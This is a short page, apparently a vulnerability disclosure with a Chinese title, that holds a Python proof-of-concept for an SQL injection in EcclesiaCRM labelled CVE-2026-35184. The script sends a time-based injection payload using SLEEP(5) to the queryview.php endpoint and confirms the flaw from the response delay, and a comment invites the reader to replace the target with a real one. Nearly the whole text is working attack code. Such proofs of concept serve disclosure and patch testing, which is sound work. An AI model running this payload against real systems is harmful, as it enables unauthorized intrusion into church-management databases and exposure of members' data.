CVE-2026-35184 EcclesiaCRM SQL注入漏洞

import requests def check_sqli(target_url): """ PoC for CVE-2026-35184 SQL Injection in EcclesiaCRM Tests the vulnerability via time-based injection. """ vuln_path = "/v2/templates/query/queryview.php" full_url = f"{target_url.rstrip('/')}{vuln_path}" # Payload attempts to cause a time delay using SLEEP() payload = { "custom": "1", "value": "1' AND (SELECT SLEEP(5))-- -" } try: print(f"[*] Sending request to: {full_url}") response = requests.post(full_url, data=payload, timeout=10) # Check if the response time indicates SQL execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection detected.") else: print("[-] Target may not be vulnerable or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)